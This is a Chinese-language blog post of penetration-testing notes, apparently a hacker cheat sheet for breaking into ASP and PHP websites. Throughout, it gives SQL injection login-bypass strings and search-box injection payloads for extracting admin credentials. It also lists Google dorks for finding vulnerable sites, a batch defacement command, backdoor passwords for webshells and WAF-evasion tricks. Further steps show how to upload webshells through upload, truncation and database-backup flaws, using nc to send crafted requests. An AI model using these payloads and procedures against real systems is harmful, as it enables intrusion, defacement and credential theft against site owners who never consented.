渗透笔记大全03 - Aatrox's Blog

=============================================================================================================================================================

【万能密码】
( php )
帐号：’ UNION Select 1,1,1 FROM admin Where ”=’
密码：1
( asp )
‘xor
‘or’='or’
‘or”=”or”=’
‘or ’1′=’1′or ’1′=’1
‘or 1=1/*
=============================================================================================================================================================
【批量关键词】
inurl:asp?id=
inurl:detail.php?
CompHonorBig.asp?id=          牛比
inurl:show.asp? 非常强大！！！！
site:www.yuming.com
inurl:articleshow.asp?articleid=数字牛B
inurl:szwyadmin/login.asp
inurl:asp?id=1 intitle:政府
杭州 inurl:Article_Class2.asp?
=============================================================================================================================================================
【批量挂黑页】
cmd命令执行 dir d:\wwwroot /b >>1.txt
之后命令 for /f “tokens=* delims= ” %i in (d:\1.txt) do echo pause>>D:\wwwroot\%i\wwwroot\1.txt
=============================================================================================================================================================
【木马后门】
1.TNTHK小组内部版 —— 存在关键词后门，随便输入一个错的密码，右键查看源文件，找到错误关键词后面的font，在font后面的就是正确密码。
2.不灭之魂—不死僵尸变种 —— 用这款工具专门爆这款大马的密码：爆不灭之魂密码
3.终极防删免杀多功能VIP版本-无后门 —— 万能密码：wbgz 菜刀连接：kk
=============================================================================================================================================================
【安全狗】
1.过注入
方法一：a.asp?aaa=%00&id=sql语句
方法二： a.asp?id=sql语句里面把安全过滤的加个%l 比如： un%aion sel%aect 1,2,3,4 fr%aom admin
2.过大马被阻拦访问
方法一：上传一个大马然后访问http://sss.com/dama.asp; 访问后出现拦截。
那么解决方法先将dama.asp改名dama.jpg上传，然后在同目录上传个文件da.asp 内容为： <!–#include file=”dama.jpg” –>  这样再访问da.asp  就不会被拦截了。
3.过菜刀连接一句话被拦截
方法一：不用菜刀连接一句话，用别的一句话连接端。
方法二：中转下连接菜刀，把过滤掉的词替换掉。
=============================================================================================================================================================
【 asp搜索框注入】
在搜索框里，我们输入一个关键词，该关键词必须在这个站能搜索到信息。比如这个站我输入了1，搜索到了很多新闻，判断这个搜索框是否有注入漏动。
直接在前台的搜索框里注入被限制的话，可以本地构造表单进行注入：
<html>
<form name=”form1″ method=”post” action=”http://www.xxx.com/search.asp“>
类型：
<label>
<input name=”t” type=”text” id=”t” value=”1″>
</label>
<p>
内容：
<label>
<input name=”key” type=”text” id=”key”>
</label>
</p>
<p>
<label>
<input type=”submit” name=”Submit” value=”提交”>
</label>
</p>
</form>
1%’ ‘ and ‘%’='       系统报错
1%’ and 1=1 and ‘%’=' 返回正确
1%’ and 1=2 and ‘%’=' 返回错误
1%’ and (select count(*) from 表段) and ‘%’=' 猜表段
1%’ and (select count(字段) from 表段) and ‘%’='  猜字段
1%’ and (select top 1 len(字段) from 表段)>16 and ‘%’='  猜字段长度
1%’ and (select top 1 asc(mid(name,1,1)) from 表段)>97 and ‘%’=' 猜内容
用牛族字符转换器转换数字。（猜长度的时候，选择对的前面那个错的数字！或是直接把大于号改为等于号，看看正确就是了）
有的网站存在搜索框，利用这个搜索框进行注射从而爆出管理帐号密码：%’ and 1=2 union select 1,admin,3,4,5,6,password,8,9,10 from admin where ‘%’=’
我们在搜索框里，搜索关键词1浏览器地址栏显示：http://www.XXXXXX.com/News_search.asp?key=1&otype=msg
这里的key=1，就是说我们搜索得关键词1，我们要做的就是把key=1放到最后面，把连接变成：http://www.XXXXXX.com/News_search.asp?otype=msg&key=1
或者直接把&otype=msg删除，变成：http://www.XXXXXX.com/News_search.asp?key=1
=============================================================================================================================================================
【本地构造上传漏洞  】
寻找程序上传漏洞，必须从上传页面的源文件入手，目标有两个：
1.filename (文件名称)  在上传页面中针对文件扩展名过滤不严，从而上传可执行的脚本木马。
2.filepath (文件路径)  在上传页面针对路径过滤不严，导致可以修改上传相对路径上传脚本木马。
当检测到一个上传页面，asp、asa后缀已经被过滤掉的时候，可以尝试抓包明小子或NC上传！
不行就利用本地上传漏洞构造上传！例如上传页面是：http://www.baidu.com/upfile_other.asp
1.右键查看源文件，找到这段代码：<form name=”form1″ method=”past” action=”zwhua_upload1.asp” enctype=”multipart/form-data”>
  把以上代码中actino处的路径补全！即：<form name=”form1″ method=”past” action=”http://www.xxx.com/zwhua_upload1.asp” enctype=”multipart/form-data”>
2.再找到这段代码：<input type=”hidden” name=”filepath” value=”uploadfile/”>
  利用IIS6.0解析漏洞，把以上代码中value处的文件补全！即：<input type=”hidden” name=”filepath” value=”uploadfile/1.asa; “>  注意：冒号后面有空格！
3.接着保存为1.html，将刚保存的文件拖进去C32里，选择十六进制模式，找到“1.asa; ”后面的空格，将其填充为00后保存退出！
4.本地打开上传图片格式的木马(不成功时可以尝试上传一句话木马) ，如果提示成功后不显示路径的话，可以右键查看源文件自己手工找出路径访问即可！
=============================================================================================================================================================
【利用双文件上传拿shell 】
因为网站只判断一次，如果第一个文件后缀是在白名单里面的话，就让其上传，并没有判断第二个文件，所以上传任意格式的文件也让其通过。
当系统验证cookie的时候，就要用到火狐浏览器了，登录网站进后台，让火狐浏览器保存管理员的cookie值，再把修改后的“双文件上传工具”拖进去上传。
1.在后台找上传点，右键查看源文件，找到上传地址，一般在post或action的附近，搜索即可找到，一般为：src=”../xxx.htm”  之后补全路径访问。
2.这个还不是真正的上传页面，真正的上传页面后缀是asp的，继续查看源代码，找到action=”xxx.asp”，补全路径访问即可！
4.其实也可以抓包从而获得上传路径，抓包之后，在Referer:这栏，还有常见的是：htto://www.xxxx.com/upfile_other.asp
3.打开双文件上传工具，替换为当前的上传地址，保存后拖进火狐浏览器里，第一个选择jpg木马，第二个选择cer木马，提交后右键查看源文件找出路径即可。
=============================================================================================================================================================
【数据库备份抓包改包NC提交拿shell 】
当备份路径不能修改,后缀又是mdb不变的时候，我们可先对备份的过程进行抓包，再本地构造用NC提交即可突破备份，数据库恢复也可使用此方法！
在抓包的时候，最好用火狐浏览器，因为有的浏览器抓不到包，首先上传一张图片木马复制下地址，接着对备份过程进行抓包！把抓到的数据复制在文本里面！
开始本地修改，先把POST处补全网址，找到最底下的一行数据，再复制多一行对比长度进行修改，把备份的数据名称替换为木马地址，备份的名称改为自己想要的asp后缀！
再将原来的数据长度跟现在的对比同时替换掉，最后看一共增加了多少个字符，就在Content-Length:处进行增减，用NC提交数据格式：nc 域名 80<1.txt
=============================================================================================================================================================
【本地构造数据库备份突破拿shell 】
当上传jpg木马得到路径前去备份时，发现数据库备功能用不了的情况下，可以尝试本地构造突破拿shell！
首先查看源文件，找到“当前数据库路径”修改为刚上传jpg木马的路径，再找到“数据库备份名称”修改为1.asa
找到“<form method=”past” action=”Backup.asp?action=Backup”>” 将路径补全“<form method=”past” action=”http://xxx.com/admin/Backup.asp?action=Backup“>”
最后保存为1.html，有的网站不验证cookie的话，直接打开进行备份就能成功了，但是一般都需要验证cookie，这时就用上火狐浏览器了。
因为火狐浏览器有保留cookie的功能，先登录后台，以管理员的权限进行上传，直接把1.html拖进火狐浏览器里，直接点击备份即可突破cookie验证！
=============================================================================================================================================================
【本地构造限制上传类型漏洞】
一般用于直接扫到的上传页面，名称是：上传图片，上传asp、asa等脚本时提示“请选择jpg或gif文件!”
这时通过这个方法一般都能成功，首先保存到本地1.asp  放到小旋风的目录下，然后找到以下这段代码：
alert(“请点击浏览按钮，选择您要上传的jpg或gif文件!”)
myform.file1.focus;
return (false);
}
else
{
str= myform.file1.value;
strs=str.toLowerCase();
lens=strs.length;
extname=strs.substring(lens-4,lens);
if(extname!=”.jpg” && extname!=”.gif”)
{
alert(“请选择jpg或gif文件!”);
看到这句代码：if(extname!=”.jpg” && extname!=”.gif”)  改为： if(extname!=”.jpg” && extname!=”.gif” && extname!=”.asp”)
然后补充完整上传地址，action=这里，然后网页打开127.0.0.1 直接上传asp文件就可以了。
=============================================================================================================================================================
【抓包改包NC提交拿shell 】
1.抓包数据中如果存在name=”filepath”或是name=”filename”，那么就可以满足NC的上传条件了。
2.将木马的抓包数据复制到文本文件中。例如：1.txt
3.将路径补全：
filepath截断法：
uploadfile/路径后添加1.asp空格 (16进制下面将20改为00)
filename自定义名称：
C:\Documents and Settings\lei\桌面\1.jpg (将1.jpg 改为 1.asp空格，16进制下将20改为00)
3.在Content-Length处加上../uploadfile/后增加的字节数。
4.用C32将空格的20改为00，保存为1.txt。
5.把1.txt跟nc.exe放在同一目录下，cmd命令：nc -vv www.XXXX.com 80<1.txt
( 如果上传成功后没有将木马解析成asp，可以尝试将文件名改成asa、cer、php 再不行就用IIS 6.0解析漏洞，将文件名改为1.asa;1.jpg )
=============================================================================================================================================================